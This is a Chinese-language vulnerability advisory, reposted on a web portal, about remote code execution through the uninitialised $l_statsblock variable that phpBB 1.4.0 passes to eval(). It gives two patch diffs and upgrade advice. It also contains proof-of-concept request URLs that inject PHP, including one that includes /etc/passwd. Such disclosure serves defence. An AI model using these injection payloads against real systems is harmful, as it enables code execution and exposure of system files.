phpBB $l_statsblock变量远程执行代码漏洞
2008-04-11 09:36:19来源:互联网 阅读 ()
发布日期:2001-08-04
更新日期:2001-08-07
受影响系统:
描述:
phpBB.com phpBB 1.4.0
phpBB是一个免费,开放源代码,容易使用的Web论坛软件。
由于phpBB没有正确处理用户的输入,导致恶意用户可能通过构造一个特殊的请求来执行
php命令,并可能以httpd服务器身份执行任意代码。
问题出在一个不安全地函数调用上:"eval($l_statsblock);" 由于没有对$l_statblock
变量进行初始化,如果攻击者通过URL传输一些php命令给$l_statblock变量,就有可能
执行这些命令。
<*来源:"UnderSpell" (underspell@accao.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
"UnderSpell" (underspell@accao.net)提供了如下测试代码:
攻击者首先需要以一个普通用户身份登录phpbb,然后设置一个无效的lang文件:
http://hacks.phpbb.com/phpBB/prefs.php?viewemail=1&savecookie=0&sig=0&smile=
0&dishtml=0&disbbcode=0&themes=2&lang=THIS_IS_AN_INVALID_LANG_FILE&save=1&us
er=&submit=Gravar Prefer阯cias
这时$L_statsblock变量不再被初始化,因此攻击者可以执行代码,例如:
http://hacks.phpbb.com/phpBB/prefs.php?l_statsblock=phpinfo();
或者
http://hacks.phpbb.com/phpBB/prefs.php?teste=/etc/passwd&l_statsblock=include($teste);
建议:
临时解决方法:
1 ) 检查是否lang文件存在:
--- phpBB-1.4.0/auth.php Wed Apr 25 05:47:59 2001
phpBB/auth.php Thu May 17 12:11:01 2001
@@ -273,16 273,19 @@
// Include the appropriate language file.
if(!strstr($PHP_SELF, "admin"))
{
- include('language/lang_'.$default_lang.'.'.$phpEx);
$langfile = 'language/lang_'.$default_lang.'.'.$phpEx;
}
else
{
if(strstr($PHP_SELF, "topicadmin")) {
- include('language/lang_'.$default_lang.'.'.$phpEx);
- } else {
- include('../language/lang_'.$default_lang.'.'.$phpEx);
- }
$langfile ='language/lang_'.$default_lang.'.'.$phpEx;
} else {
$langfile = '../language/lang_'.$default_lang.'.'.$phpEx;
}
}
if ( ! file_exists($langfile) ) { die("Invalid Language");}
else { include($langfile); }
// See if translated pictures are available..
$header_image = get_translated_file($header_image);
// See if translated pictures are available..
$header_image = get_translated_file($header_image);
2 ) 在使用include前先将$l_statsblock变量初始化:
--- phpBB-1.4.0/auth.php Wed Apr 25 05:47:59 2001
phpBB/auth.php Thu May 17 11:39:33 2001
@@ -269,6 269,7 @@
// set vars for all scripts
$now_time = time();
$last_visit = $temptime;
$l_statsblock = '';
// Include the appropriate language file.
if(!strstr($PHP_SELF, "admin"))
厂商补丁:
升级到1.4.1以上版本,我们建议使用此软件的用户从厂商的主页下载最新版本:
http://www.phpbb.com/download.php
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash